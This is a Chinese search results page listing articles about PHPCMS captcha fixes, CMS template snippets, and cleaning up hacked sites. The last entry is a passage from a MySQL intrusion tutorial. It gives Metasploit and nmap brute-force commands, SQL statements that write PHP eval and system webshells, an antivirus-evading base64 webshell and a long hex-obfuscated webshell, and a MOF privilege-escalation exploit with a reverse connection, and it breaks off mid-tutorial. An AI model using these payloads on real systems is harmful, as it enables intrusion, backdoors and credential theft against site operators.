首页> 搜索结果页
"phpcms中验证码" 检索
共 9 条结果
dedecms 验证码老提示不正确的解决方案
1.三个字:权限不够,修改服务器上的IUSER的访问权限即可 类似的在phpcms中出现error_log.php错误的话只要修改权限即可!
文章
2013-04-03
phpcms v9问题
phpcms 登录总是提示“验证码输入错误”,分明没有输错的 解决 修改"/caches/configs/system.php"当中 session_storage => 'MySQL' 为 session_storage => 'files' 并且流量器中的域名要和system.php中的一致     修改后台左侧导航phpcms\modules\admin\templates\left.tpl.php phpcms\modules\admin\class\admin.class.php  admin_menu phpcms\modules\admin\templates\index.tpl.php   位置:扩展 > 扩展 > 菜单管理 > 说明: 一、 本功能用于后台各功能菜单的设置操作。 二、 为系统分配权限调用,所有系统用到的功能方法,都需要添加到菜单管理里。   一、 添加菜单 添加菜单分为 全新添加 和在已有菜单处添加子菜单 。二种方法仅在 上级菜单 默认值处有异,其它相同。   全新添加: 添加功能菜单时,首先选择上级菜单目录。填写中英文对应菜单名称,所在模块名,及对应文件和处理方法名。如有参数,请于下填写参数信息。如下图所示    如选择显示菜单,则在导航 处显示,反之不显。以上图为例,选择不显示,图示如下  二、 菜单管理 菜单管理仅涉及编辑 ,修改、排序等操作在此不再详述。
文章
关系型数据库  ·  MySQL
2016-05-12
phpcms(v9)验证码无法显示解决方案
1.首先直接启动下服务器(本人经历过,管用) 2.找到php.ini文件 搜索extension=php_gd2.dll这段代码 然后把前面的;符号去掉即可。 3.关键一点是获取验证码的图片与全局变量SITE_URL相关,也就是网站的目录,所以只要修改cache/configs/system.php文件中的网站路径变量‘web_path’ 即可。 举例说明(本地域名http://localhost) 如果所有的文件都在根目录下(例如apache下的htdocs),此时,默认访问地址应该是http://localhost/,则‘web_path’=>'/',若网站默认的访问地址不是根目录,则需要将变量‘web_path’的值改为新的目录地址,例如是在根目录下的install子目录里,那么应该是'web_path'=>'/install/',注意,最后一个'/'不能省略。 4.修改config.inc.php文件的编码为ANSI,也就是和checkcode.php的编码一致就可以了,因为checkcode.php的编码就是ANSI的!找个UTF-8的文本工具,如:UltraEdit-32,另存一下就可以了
文章
Apache
2013-03-12
使用 PHPCMS 快速搭建 CMS 网站 | 学习笔记
开发者学堂课程【阿里云ECS快速入门: 使用 PHPCMS 快速搭建 CMS 网站】学习笔记,与课程紧密联系,让用户快速学习知识。课程地址:https://developer.aliyun.com/learning/course/720/detail/12869使用 PHPCMS 快速搭建 CMS 网站内容介绍:一、下载与安装二、搭建网站一、下载与安装1. 下载可以百度查看 PHPCMS 的简介:PHPCMS 和织梦 CMS 类似,它们功能相同,并且是免费的。下载链接:http://www.dedecms.com/products/dedecms/downloads 可以自行下载。2.安装(1)环境准备运行环境的要求如下图:查看运行环境:Apache2.4符合要求,MySQL 5.6符合要求,PHP 5.6符合要求。(2)开始安装点击文件,点击上传,选择下载好的源码包,开始上传。上传完成需要解压它。在源码包文件右手边点击第六个选项解压。解压后,可以看到出现install文件夹,它就是网站程序的主要运行目录。点击主菜单左边网站,消息盒子中显示已经安装完毕。二、搭建网站返回首页点击网站,发现安装成功后添加站点。域名处填入公网 ip 地址,选择运行目录:/www/wwwroot/phpcms_v9_UTF8 /install_package/,选择创建数据库,之后点击提交。创建成功后需要访问。输入公网 IP 地址:39.107.58.217,出现如下界面时在公网 IP 地址后输入 install , 即39.107.58.217/ install/点击回车键进入安装界面。点击同意后会弹出环境检查,看到DNS解析处出现错误忽略即可,暂时使用不到DNS解析的域名解析功能。点击选择模块,选择全新安装,其他默认即可。文件权限检查全部通过点击下一步即可。账号设置输入配置好的数据库名、用户名、密码,填写管理员信息,点击下一步。点击登录后台管理,输入用户名、密码、验证码后登录,就进入了 PHPCMS 的系统后台。
文章
域名解析  ·  弹性计算  ·  网络协议  ·  关系型数据库  ·  MySQL  ·  PHP  ·  数据库  ·  数据安全/隐私保护  ·  开发者
2022-11-19
PHPCMS宝典
评论调用: {php $comment_tag = pc_base::load_app_class("comment_tag", "comment"); $comment_total = $comment_tag->count(array('commentid'=>'content_'.$v[catid].'-'.$v[id].'-'.$modelid));} comment: {if $comment_total}{$comment_total}{else}0{/if} 推荐位调用: {pc:content action="position" posid="2" moreinfo="1" catid="$catid" order="listorder DESC" num="1"} {loop $data $r} {/loop} {/pc} 点击量调用: <script language="JavaScript" src="{APP_PATH}api.php?op=count&id={$id}&modelid={$modelid}"></script> 列表页调用: {php $db = pc_base::load_model('hits_model'); $_r = $db->get_one(array('hitsid'=>'c-'.$modelid.'-'.$r[id])); $views = $_r[views]; } {$views} 内容页调用: hit:<span id="hits"><script language="JavaScript" src="{APP_PATH}api.php?op=count&id={$id}&modelid={$modelid}"></script></span> 判断总数: {if $n==count($dat)}class="friendly-border" {/if} 新闻上一篇下一篇显示 <span class="fl">上一篇:<a href="{$previous_page[url]}">{$previous_page[title]}</a></span> <span class="fr">下一篇:<a href="{$next_page[url]}">{$next_page[title]}</a></span> Phpcms 分组 array_chunk($data(数组),10(每组有几个数)) <div class="bd"> {pc:content action="lists" moreinfo="1" catid="17" num="20" order="id ASC"} {php $da=array_chunk($data,4(每组显示几个));} {loop $da $d} <div class="wrap1"> {php $i=1;} {loop $d $r} <div class="box1 {if $i==4} br1 {/if}"> <a class="hot" href="{$r[url]}" > ![]({$r[thumb]}) <p>{$r[title]}</p> </a> </div> {php $i++;} {/loop} </div> {/loop} {/pc} </div> //截取字数 {str_cut($r[description],102,'...')} {str_cut(strip_tags($r[content]),300,"...")} //截取文字 strip_tags() 函数剥去字符串中的 HTML、XML 以及 PHP 的标签。 加入收藏、设置首页 <a target=_top href="javascript:window.external.addFavorite('http://www.webjx.com','网页教学网');">加入收藏</a> <a href='#' onClick="this.style.behavior='url(#default#homepage)';this.setHomePage('http://www.webjx.com');">设为首页</a> 加锚点 {$r[url]}#n{$r[id]} {$rs[url]}&#area{$n} 时间差 {php $now = strtotime("now")} {date('d',$now-$r[inputtime])}天前 获取当前栏目 {php $arrid=$r[catid]} {$CATEGORYS[$arrid][catname]} 获取当前栏目父栏目 {$CATEGORYS[$CATEGORYS[$arrid][parentid]][catname]} 当前位置调用: {catpos($catid)} phpcms从指定第几条开始调用 {pc:content action="lists" catid="10" order="id DESC LIMIT 1,4--" num="4"} //这样就可以从第二条开始调用数据。 其中的order="id DESC LIMIT 1,4--"里的两个数字,第1个数字1表示从第2条开始调用,第2个数字4表示共调用4条。 如果改成order="id DESC LIMIT 0,4--"那么就表示从第1条开始调用,共调用4条。 如果改成order="id DESC LIMIT 2,4--"那么就表示从第3条开始调用,共调用4条。 栏目指定第几个显示(phpcms从指定第几条开始调用 ) 1---> 从第二个开始显示 {php $data = array_slice($data,1);} {pc:content action="category" catid="$catid" num="5" siteid="$siteid" order="listorder ASC,id ASC"} {php $data = array_slice($data,1);} {loop $data $r} {if $cat==$catid} <span {if $n=="1"} class="cur" {/if} >{$r[catname]}</span> {else} <span {if $r[catid]==$catid} class="cur" {/if}>{$r[catname]}</span> {/if} {/loop} {/pc} 返回上级 {$CATEGORYS[$catid][url]} <a href="javascript:history.back(-1);" class="back">返回上一级</a> 相关文章 {pc:content action="relation" relation="$relation" catid="$catid" num="5" keywords="$rs[keywords]"} {loop $data $r} <li>·<a href="{$r[url]}" target="_blank">{$r[title]}</a><span>({date('Y-m-d',$r[inputtime])})</span></li> {/loop} {/pc} 调用多图 {loop string2array($r['pics']) $v} 调用广告 {php $banner=getads(11);$i=1;} <ul> {loop $banner[d] $v} {if $i<=5} <li _src="url({$v[imageurl]})" style="background:none no-repeat center center;"><a href="{$v[linkurl]}"></a></li> {/if} {php $i++;} {/loop} </ul> 调用友情链接 图片链接: {pc:link action="lists" typeid="0" siteid="$siteid" linktype="1" order="desc" num="6" return="dat"} {loop $dat $v} <a href="{$v[url]}" title="{$v[name]}" target="_blank">![]({$v[logo]})</a> {/loop} {/pc} 文字链接: {pc:link action="lists" typeid="0" siteid="$siteid" linktype="0" order="desc" num="10" return="dat"} {loop $dat $v} <a href="{$v[url]}" title="{$v[name]}" target="_blank">{$v[name]} </a> {/loop} {/pc} 判断数组是否包含某个数字 if(in_array("29",$xmlx)){ //array_push($xmlx,$qt); $qt=$_POST['qita']; } 栏目页调用 来源: {php list($copyfrom) = explode('|', $r['copyfrom'])} {$copyfrom} 调用验证码: 前台 {php pc_base::load_sys_class('form', '', 0);$setting = getcache('formguide', 'commons');} {form::checkcode('code_img', '4', 90, 30)} {form::checkcode('code_img','4','14',110,30)} 后台开始session配置 //启动session $session_storage = 'session_'.pc_base::load_config('system','session_storage'); pc_base::load_sys_class($session_storage); Mysql查找如何判断字段是否包含某个字符串 利用mysql 字符串函数 find_in_set(); SELECT * FROM users WHERE find_in_set('aa@email.com', emails); 调取模型下拉框 {php $ks=filtersele('dertment',12);} 路径跳转(不用a标签): <script> function urls(obj){ var url = $(obj).attr('data-url'); window.location.href = url; } </script> <span data-url="javascript:history.back();" onclick="urls(this)" >返回</span> 跳转首页 {siteurl($siteid)} 栏目图片调用 {$CATEGORYS[$catid][image]} 手机站上一篇下一篇 PHP源码修改: 打开 phpcms\modules\wap\index.php 文件 找到 if(!$r || $r['status'] != 99) showmessage(L('info_does_not_exists'),'blank'); 在其下面添加 //上一篇 $previous_page = $this->db->get_one("`catid` = '$catid' AND `id`<'$id' AND `status`=99",'*','id DESC'); //下一篇 $next_page = $this->db->get_one("`catid`= '$catid' AND `id`>'$id' AND `status`=99"); //当前页为第一篇时:再点击上一篇仍然显示第一篇 if(empty($previous_page)) { $previous_page = $this->db->get_one("`catid` = '$catid' AND `id`='$id' AND `status`=99",'*','id DESC'); } //当前页为最后一篇时:再点击下一篇仍然显示最后一篇 if(empty($next_page)) { $next_page = $this->db->get_one("`catid`= '$catid' AND `id`='$id' AND `status`=99"); } 调用: <a href="{WAP_SITEURL}?m=wap&c=index&a=show&catid={$catid}&typeid={$typeid}&id={$previous_page[id]}" class="page">上一条:{$previous_page[title]}</a> <a href="{WAP_SITEURL}?m=wap&c=index&a=show&catid={$catid}&typeid={$typeid}&id={$next_page[id]}" class="page">下一条: {$next_page[title]}</a> 手机站调用栏目图片 {$TYPE[$typeid][image]} 栏目二级显示 {pc:content action="category" catid="0" order="listorder DESC" siteid="$siteid" num="7"} {loop $data $r} <li class="navList {if $r[catid]==$catid||$r[catid]==$cat}on{/if}" > <a href="{$r[url]}" class="href">{$r[catname]}</a> <div class="listList"> {pc:content action="category" catid="$r[catid]" num="8" siteid="$siteid" order="listorder DESC" return="dat"} {loop $dat $v} <a href="{$v[url]}">{$v[catname]}</a> {/loop} {/pc} </div> </li> {/loop} {/pc} 下载模型 {pc:content action="lists" catid="$catid" num="15" order="id DESC" page="$page" moreinfo="1"} {loop $data $r} {php $xiazai = string2array($r['downfiles']);} {loop $xiazai $b} <dl class="news_dl"> <dt> <a href="{$b[fileurl]}" title="{$r[title]}" class="dt_1"> {$r[title]} </a> <span class="dt_2">[{date('Y-m H:i',$r[inputtime])}]</span> </dt> <dd> {str_cut(strip_tags($r[content]),340)} </dd> </dl> <!-- 文件地址调用标签:{$b[fileurl]} 文件名调用标签:{$b[filename]} --> {/loop} {/loop} {/pc} 判断奇偶数 {$n}.{if $n%2==0}偶数{else}奇数{/if} <br>
文章
JavaScript  ·  前端开发  ·  PHP
2017-08-26
百度网址安全中心怎么取消拦截的详细解决办法
很多客户找到我们SINE网站安全公司,说自己的网站被百度网址安全中心拦截了,从百度点击网站进去跳转到博cai网站上去,直接输入网址不会出现跳转。还有的客户网站被百度拦截的时候会有一些红色文字提醒: 百度网址安全中心提醒您:该页面可能已被非法篡改!等等的字样,如下图: 甚至有些客户网站被黑后直接打开跳转到彩piao网站上去了,网站的百度快照与收录也被篡改成了什么北京sai车,北京PK10,等等内容。大部分客户的网站被百度拦截是因为网站存在漏洞被攻击,攻击者篡改了网站首页文件,我们SINE安全在帮客户解除百度拦截的时候,发现很多客户网站安全没有设置到位,网站漏洞也没有修复,包括网站后台账号密码都是弱密码,什么123456,111111,admin,还有的是ftp账号密码弱口令,默认的网站后台地址等等。 (一)网站被百度网址安全中心拦截不要紧!遇事千万不要慌,静下来去分析问题 发生的根本,我们首先要检测网站是否被黑,看下我们网站的首页文件index.html或者index.php文件里代码,一般会放在头部,你会发现有一些加密的字符,很长一段,下面我贴出来。 <""title"">365bet游戏平台_365bet娱乐平台_bet365体育投注</""title""> <""meta name="keywords" content="365bet平台注册,365bet体育平台,365bet娱乐平台,365bet官方平台,365bet开户平台,365bet平台赌场,365bet皇冠平台,365bet平台网投,365bet平台规则,365bet娱乐场平台,365bet网站平台,365bet足球平台,365bet平台返利,365bet网上娱乐平台,365bet线上平台"/""> <""meta name="deion" content="bet365体育国际娱乐【唯一博彩信誉担保第三方平台:(0136566.com)】bet365体育娱乐真人娱乐,亚洲最有公信力的网上娱乐平台官网保证玩家拿到每一分钱。【权威认证&#12305:"/""> 标题,描述,都被修改成了加密的数字字符,我们对其解码来看下。 unicode的加密方式我们用站长工具解密看下: 网站的标题都改成了菠菜的关键词. 我们最新发现网站被跳转到菠菜网站上,有些是根据IP来判断跳转的,比如说这个网站的运营者是广东省的,那么攻击者就会让广东省的IP都不会跳转到菠菜网站上,这个用意就是让网站的运营者无法发现网站出现了问题,来达到长期控制网站的目的。 代码我们SINE安全公布出来: (二)再一个检查网站的收录情况:使用百度的site命令,site:www.客户网址.com来看下网站是否收录了一些与网站内容不相关的百度快照,大部分是一些彩piao,菠菜内容的百度快照。再看下网站是否会有百度的网址安全中心拦截,目前被百度安全中心拦截的提示会有如下几种显示: 1.百度网址安全中心提醒您:该页面可能已被非法篡改! 2.百度网址安全中心提醒您:该页面可能存在钓鱼欺诈信息! 3.百度网址安全中心提醒您:该页面可能存在违法信息! 4.该页面可能存在违法信息! 5.该页面可能已被非法篡改! 6.该页面可能存在钓鱼欺诈信息! (三) 如果对网站代码不是太懂的话建议找专业网站安全公司来帮忙检查,有些可能会找建站公司帮忙检查,大多数的建站公司不懂安全,只会简单的清理代码,清除跳转,但是过不了几天网站又就被跳转了,被百度拦截了,亡羊补牢而已,根本问题是网站存在漏洞,要对网站漏洞进行修复。 既然发现了网站被百度拦截,那么该如何解除拦截呢? 检查网站代码是否存在木马后门,对网站里的每个文件,每行代码都进行人工安全检测,发现是否含有eval等一句话后门,以及一些加密的字符,如果有请仔细查看并对其清除,再一个对网站漏洞进行修复,现在许多网站使用的都是开源的系统,比如织梦dedecms系统,discuz论坛系统,phpcms,MetInfo,wordpress,帝国cms,苹果cms,微擎系统,ecshop,对这些系统的漏洞补丁经常的进行升级修复。上面大部分的系统都是开源的代码,既然开源就是免费对外,那么就很容易被挖掘出漏洞,所以要对网站代码及时的进行网站漏洞修复。 检查网站的后台是否被人恶意登录,检查登录的IP,以及通过网站日志进行分析查看,是否有其他的IP登录了网站后台,修改网站后台默认地址,以及网站后台的账号密码,对网站安全比较了解的话,也可以对网站后台登录进行二次验证码验证防护。 对网站的目录权限进行安全部署分配,比如图片目录,以及css,js,cache缓存目录都设置为无脚本执行权限,只有可写权限即可。修复好了网站漏洞,以及清除网站木马,删除掉首页的加密代码,去除跳转,直接 去百度网址安全中心提交申诉: 提交后百度会在24小时内给予反馈。 解除百度安全拦截会有如下邮件: 尊敬的用户 您好!您于 2018年10月18日 09:17 对: 客户网址进行了误报申诉。 百度网址安全技术人员答复如下: 您好,对于 客户网址的检测结果为:通过审核 感谢您的反馈,该网站已经解除拦截。百度搜索中展示的“风险”提示,需要“12小时”后生效;百度杀毒中展示的“风险”提示,需要“重启电脑”后生效。我们会严格保护您的隐私,不会泄露您提交的任何隐私信息。如有问题可随时进行反馈,感谢支持! 百度网址安全中心
文章
安全  ·  数据安全/隐私保护
2018-10-18
教你一些MySQL数据库入侵及防御方法(有书送)
在针对网站渗透中,很多都是跟 MySQL 数据库有关,各种 MySQL 注入、MySQL 提权、MySQL 数据库 Root 账号 webshell 获取等,但没有一个对 MySQL 数据库渗透较为全面的总结。 针对这种情况我们开展了研究,但技术的进步永无止境,思想有多远,路就可以走多远,在研究 MySQL 数据库安全之余,我们也对 MySQL 如何通过 msf、sqlmap 等来进行扫描、漏洞利用、提权、MySQL 密码破解和获取 webshell 等进行了详细研究。 一、MySQL 信息收集 1、端口信息收集 MySQL 默认端口是 3306 端口,但也有自定义端口,针对默认端口扫描主要利用扫描软件进行探测,推荐使用: iisputter,直接填写 3306 端口,IP 地址填写单个或者 C 段地址;Nmap 扫描 Nmap -p 3306 192.168.1.1-254。特定目标的渗透,可能需要对全端口进行扫描,可以使用 Nmap 对某一个 IP 地址进行全端口扫描,端口扫描软件还有 sfind 等 DOS 下扫描的工具。 2、版本信息收集 msf 查看版本信息“auxiliary/scanner/mysql/mysql_version”模块 以扫描主机 192.168.157.130 为例,命令为: use auxiliary/scanner/mysql/mysql_version set rhosts 192.168.157.130 run MySQL 查询版本命令: SELECT @@version、SELECT version(); sqlmap 通过注入点扫描确认信息: sqlmap.py -u url --dbms mysqlphpmyadmin 管理页面登录后查看 localhost->变量->服务器变量和设置中的 version 参数值。 3、数据库管理信息收集 MySQL 管理工具有多种,例如 phpmyadmin 网站管理,Navicat for MySQL 以及 MySQL Front 等客户端工具。这些工具有的会直接保存配置信息,这些信息包含数据库服务器地址和数据库用户名以及密码,通过嗅探或者破解配置文件可以获取密码等信息。 4、msf 信息收集模块 MySQL 哈希值枚举: use auxiliary/scanner/mysql/mysql_hashdump set username root set password root run 获取相关信息: use auxiliary/admin/mysql/mysql_enum set username root set password root run 获取数据库版本,操作系统名称,架构,数据库目录,数据库用户以及密码哈希值。 执行 MySQL 语句,连接成功后可以在 msf 执行 SQL 语句,跟 sqlmap 的“--sql-shell”模块类似 use auxiliary/admin/mysql/mysql_sql将mysql_schem导出到本地/root/.msf4/loot/文件夹下 use auxiliary/scanner/mysql/mysql_schemadump 文件枚举和目录可写信息枚举 auxiliary/scanner/mysql/mysql_file_enum auxiliary/scanner/mysql/mysql_writable_dirs 没有测试成功过,需要定义枚举目录和相关文件,觉得基本没什么用。 二、MySQL 密码获取 1、暴力破解 MySQL 暴力破解主要有几种: 网页在线连接破解: 可以使用 burpsuite 和 phpMyAdmin 多线程批量破解工具。 下载: https://portswigger.net/burp/http://pan.baidu.com/s/1c1LD6comsf 通过命令行进行暴力破解: msf 破解 MySQL 密码模块 auxiliary/scanner/mysql/mysql_login,其参数主要有BLANK_PASSWORDS、BRUTEFORCE_SPEED、DB_ALL_CREDS、DB_ALL_PASS、DB_ALL_USERS、PASSWORD、PASS_FILE、Proxies、RHOSTS、RPORT、STOP_ON_SUCCESS、THREADS、USERNAME、USERPASS_FILE、USER_AS_PASS、USER_FILE、VERBOSE参数。 对单一主机仅仅需要设置 RHOSTS、RPORT、USERNAME、PASSWORD 和 PASS_FILE,其它参数根据实际情况进行设置。 场景A:对内网获取 Root 某个口令后,扩展渗透 use auxiliary/scanner/mysql/mysql_login set RHOSTS 192.168.157.1-254 set password root set username root run 执行后对 192.168.157.1-254 进行 MySQL 密码扫描验证。 场景B:使用密码字典进行扫描 use auxiliary/scanner/mysql/mysql_login set RHOSTS 192.168.157.1-254 set pass_file /tmp/password.txt set username root run 使用 nmap 扫描并破解密码: 对某一个 IP 或者 IP 地址段进行 nmap 默认密码暴力破解并扫描 nmap --script=mysql-brute 192.168.157.130 nmap --script=mysql-brute 192.168.157.1-254 使用 Root 账号 Root 密码进行 MySQL 密码验证并扫描获取指定 IP 地址的端口信息以及 MySQL 数据库相关信息 nmap -sV --script=mysql-databases --script-argsmysqluser=root,mysqlpass=root 192.168.157.130 检查 Root 空口令 nmap --script mysql-empty-password 192.168.195.130 对 MySQL 口令进行扫描: 使用 hscan 工具对 MySQL 口令进行扫描,需要设置扫描 IP 地址段以及数据库口令字典及用户名字典。 2、源代码泄露 网站源代码备份文件: 一些网站源代码文件中会包含数据库连接文件,通过查看这些文件可以获取数据库账号和密码。一般常见的数据库连接文件为 config.php、web.config、conn.asp、db.php/asp、jdbc.properties、sysconfig.properties、JBOSS_HOME\docs\examples\jca\XXXX-ds.xml。以前有一款工具挖掘鸡可以自定义网站等名称对 zip/rar/tar/tar.gz/gz/sql 等后缀文件进行扫描 配置备份文件: 使用 ultraedit 等编辑文件编辑数据库配置文件后,会留下 bak 文件。 3、文件包含 本地文件包含漏洞可以包含文件,通过查看文件代码获取数据库配置文件,进而读取数据库用户名和密码。 4、其它情况 有些软件会将 IP 地址、数据库用户名和密码写进程序中,运行程序后,通过 cain 软件进行嗅探,可以获取数据库密码。另外 MySQL客户端管理工具有的管理员会建立连接记录,这些连接记录保存了用户名、密码和连接 IP 地址或者主机名,通过配置文件或者嗅探可以获取用户名和密码。 三、MySQL 获取 webshell 1、phpmyadminroot 账号获取 webshell MySQL Root 账号通过 phpMyAdmin 获取 webshell 的思路,主要有下面几种方式,以第1)2)6)8)方法较佳,其它可以根据实际情况来进行。 1)直接读取后门文件: 通过程序报错、phpinfo 函数、程序配置表等直接获取网站真实路径,有些网站前期已经被人渗透过,因此在目录下留有后门文件通过 load_file 直接读取。 2)直接导出一句话后门: 前提需要知道网站的真实物理路径,例如呼求偶真实路径 D:\work\WWW,则可以通过执行以下查询,来获取一句话后门文件 cmd.php,访问地址:http://www.somesite.com/cmd.php select '<?php @eval($_POST[antian365]);?>'INTO OUTFILE 'D:/work/WWW/antian365.php' 3)创建数据库导出一句话后门: 在查询窗口直接执行以下代码即可,跟2)原理类似 CREATE TABLE `mysql`.`antian365` (`temp` TEXT NOTNULL ); INSERT INTO `mysql`.`antian365` (`temp` ) VALUES('<?php @eval($_POST[antian365]);?>'); SELECT `temp` FROM `antian365` INTO OUTFILE'D:/www/antian365.php'; DROP TABLE IF EXISTS `antian365`; 4)可执行命令方式: 创建执行命令形式的 Shell,但前提是对方未关闭系统函数。该方法导出成功后可以直接执行 DOS 命令,使用方法:www.xxx.com/antian365.php?cmd=(cmd=后面直接执行dos命令) select '<?php echo \'<pre>\';system($_GET[\'cmd\']); echo \'</pre>\'; ?>' INTO OUTFILE 'd:/www/antian365.php'另外在 Linux 下可以导出直接执行命令的 Shell SELECT '<? system($_GET[\'c\']); ?>' INTO OUTFILE '/var/www/shell.php'; http://localhost/shell.php?c=cat%20/etc/passwd 5)过杀毒软件方式: 通过后台或者存在上传图片的地方,上传图片 publicguide.jpg,内容如下 <?php$a=' PD9waHAgQGV2YWwoJF9QT1NUWydhbnRpYW4zNjUnXSk7ZGllKCk7Pz4=';error_reporting(0);@set_time_limit(0);eval("?>".base64_decode($a));?> 然后通过图片包含 temp.php,导出 webshell select '<?php include 'publicguide.jpg' ?>'INTO OUTFILE 'D:/work/WWW/antian365.php' 一句话后门密码:antian365 6)直接导出加密 webshell: 一句话后门文件密码:pp64mqa2x1rnw68,执行以下查询直接导出加密 webshell,D:/WEB/IPTEST/22.php,注意在实际过程需要修改 D:/WEB/IPTEST/22.php select unhex('203C3F7068700D0A24784E203D2024784E2E737562737472282269796234327374725F72656C6750383034222C352C36293B0D0A246C766367203D207374725F73706C697428226D756B3961773238776C746371222C36293B0D0A24784E203D2024784E2E73756273747228226C396364706C616365704172424539646B222C342C35293B0D0A246A6C203D2073747269706F732822657078776B6C3766363674666B74222C226A6C22293B0D0A2474203D2024742E737562737472282274514756325957774A63567534222C312C36293B0D0A2465696137203D207472696D28226A386C32776D6C34367265656E22293B0D0A2462203D2024622E73756273747228226B6261736536346B424474394C366E6D222C312C36293B0D0A246967203D207472696D28226233397730676E756C6922293B0D0A2479203D2024792E24784E28227259222C22222C22637259726572596122293B0D0A24797531203D207374725F73706C697428226269316238376D3861306F3678222C32293B0D0A2474203D2024742E24784E282278413678222C22222C2277784136786F4A463922293B0D0A246E64203D2073747269706F7328226E363574383872786E303265646A336630222C226E6422293B0D0A2462203D2024622E24784E282277493339222C22222C225F774933396477493339656322293B0D0A2468387073203D207374725F73706C697428226B6E396A3968346D6877676633666A6970222C33293B0D0A2479203D2024792E7375627374722822687974655F66756E775669535645344A222C322C36293B0D0A24796637203D207374726C656E282275656875343967367467356B6F22293B0D0A2474203D2024742E24784E28226670222C22222C22516670546670314E667022293B0D0A246D39203D207374726C656E282265756C363034636F626B22293B0D0A2462203D2024622E73756273747228226C3057316F64656C413165536E454A222C342C33293B0D0A2468306277203D207472696D28226E33653568306371746F6B76676F6238747822293B0D0A2479203D2024792E24784E28227962222C22222C2263796274696F22293B0D0A24733761203D20727472696D2822617565627963396734743564386B22293B0D0A2474203D2024742E7375627374722822624D73306E4268383355577964222C392C34293B0D0A2464353971203D2073747269706F732822636A7675636B6F79357766336F746561222C226435397122293B0D0A2479203D2024792E73756273747228226E4439487851534C386E6752222C392C31293B0D0A246C31203D207374725F73706C697428226167717130396762716E31222C34293B0D0A2474203D2024742E24784E282277366F34222C22222C2277634477366F345977366F343022293B0D0A247079203D2073747269706F7328226C677938687472727631746333222C22707922293B0D0A2474203D2024742E24784E282265503332222C22222C22625846655033326822293B0D0A2478703364203D2073747269706F732822756B6C306E626E7839677433222C227870336422293B0D0A2474203D2024742E7375627374722822696B4A3030484A4D6E677863222C372C35293B0D0A2464743262203D207374726C656E282265346135616275616A7733766C6369726122293B0D0A2474203D2024742E737562737472282263644E314B78656D35334E776D456838364253222C372C34293B0D0A2475626A203D207374726C656E28227767686A6E6674326F70356B7831633038367422293B0D0A2474203D2024742E73756273747228226D34616F7864756A676E58536B63784C344657635964222C372C36293B0D0A247178203D207374726C656E2822726C71666B6B6674726F3867666B6F37796122293B0D0A2474203D2024742E7375627374722822723779222C312C31293B0D0A246D75203D20727472696D28226E676478777578357671653122293B0D0A246A203D2024792822222C20246228247429293B0D0A24626E6C70203D207374726C656E28227675667930616B316679617622293B0D0A24736468203D207374725F73706C69742822776D6E6A766733633770306D222C34293B0D0A246D62203D206C7472696D28226E353270317067616570656F6B6622293B0D0A2465307077203D20727472696D28227575346D686770356339706E613465677122293B0D0A24756768203D207472696D282272637064336F3977393974696F3922293B0D0A246772636B203D207374726C656E2822783572697835627031786B793722293B0D0A24656F3674203D207374726C656E282264646931683134656375797563376422293B246A28293B0D0A2464766E71203D207374725F73706C6974282270726D36676968613176726F333630346175222C38293B0D0A24756738203D20727472696D28226563387735327375706234767538656F22293B0D0A24726374203D2073747269706F73282268786536776F37657764386D65376474222C2272637422293B0D0A24656B7166203D207374725F73706C69742822707266357930386538666C6666773032356A38222C38293B0D0A24767972203D207374725F73706C69742822756D706A63737266673668356E64366F3435222C39293B0D0A24777266203D20727472696D282266797839396F3739333868377567716822293B0D0A24713134203D207374726C656E2822746334366F73786C3173743169633222293B0D0A66756E6374696F6E206F2820297B2020207D3B0D0A24757366203D207374726C656E2822666C7463707862377466626A736D7422293B0D0A3F3E') into dumpfile 'D:/WEB/IPTEST/22.php'(上下拉动可完整查看) 注意:也可以使用 http://tool.lu/hexstr/ 网站的代码转换来实现,将需要导出的文件代码复制到网站的字符串中,通过字符串转成十六进制,将十六进制字符串放入 unhex 函数进行查询即可 select unhex('十六进制字符串') into dumpfile 'D:/WEB/shell.php'7)CMS 系统获取 webshell: 有些情况下无法获取网站的真实路径,则意味着无法直接导出一句话 webshell,可以通过 CMS 系统管理账号登录系统后,寻找漏洞来突破,例如 dedecms 可以通过破解管理员账号后直接上传文件来获取 webshell。Discuz!的 UC_key 可以直接获取 webshell。甚至某些系统可直接上传 php 文件。下面是一些 CMS 系统渗透的技巧: dedecms 系统的密码有直接 md5,也有20位的密码,如果是20位的密码则需要去掉密码中的前3位和最后1位,然后对剩余的值进行md5解密即可;phpcms v9 版本的密码需要加 salt 进行破解,需要选择破解算法 md5(md5($pass).$salt) 进行破解;Discuz!论坛帐号保存在 ucenter_members(Discuz7.X及以上版本)或者cdb_members(discuz6.x版本)表中,其破解需要带salt进行,其破解时是使用password:salt进行,例如 a0513df9929afc972f024fa4e586e829:399793。8)general_log_file 获取 webshell: 查看 genera 文件配置情况 show global variables like "%genera%"; 关闭 general_log set global general_log=off;通过 general_log 选项来获取 webshell set global general_log='on'; SET global general_log_file='D:/phpStudy/WWW/cmd.php'; 在查询中执行语句 SELECT '<?php assert($_POST["cmd"]);?>'; Shell 为 cmd.php,一句话后门,密码为cmd。 2、Sqlmap 注入点获取 webshell Sqlmap 注入点获取 webshell 的前提是具备写权限,一般是 Root 账号,通过执行命令来获取 sqlmap -u url--os-shell echo "<?php @eval($_POST['c']);?>" >/data/www/1.php 四、MySQL 提权 1、mof提权 webshell 上传 mof 文件提权: MySQL Root 权限 MOF 方法提权是来自国外 Kingcope 大牛发布的 MySQL Scanner & MySQL Server for Windows Remote SYSTEM Level Exploit(https://www.exploit-db.com/exploits/23083/),简称 MySQL 远程提权 0day(MySQL Windows Remote System Level Exploit (Stuxnet technique) 0day)。Windows 管理规范 (WMI) 提供了以下三种方法编译到 WMI 存储库的托管对象格式 (MOF) 文件: 方法1:运行 MOF 文件指定为命令行参数 Mofcomp.exe 文件;方法2:使用 IMofCompiler 接口和 $ CompileFile 方法;方法3:拖放到 %SystemRoot%\System32\Wbem\MOF 文件夹的 MOF 文件。Microsoft 建议您到存储库编译 MOF 文件使用前两种方法。也就是运行 Mofcomp.exe 文件,或使用 IMofCompiler::CompileFile 方法。第三种方法仅为向后兼容性与早期版本的 WMI 提供,并因为此功能可能不会提供在将来的版本后,不应使用。注意使用 MOF 方法提权的前提是当前 Root 帐号可以复制文件到 %SystemRoot%\System32\Wbem\MOF 目录下,否则会失败! 该漏洞的利用前提条件是必须具备 MySQL 的 Root 权限,在 Kingcope 公布的 0day 中公布了一个 pl 利用脚本。 perl mysql_win_remote.pl 192.168.2.100 root "" 192.168.2.150 5555 192.168.2.100 为 MySQL 数据库所在服务器,MySQL 口令为空,反弹到 192.168.2.150 的 5555 端口上。 生成 nullevt.mof 文件: 将以下代码保存为nullevt.mof文件: 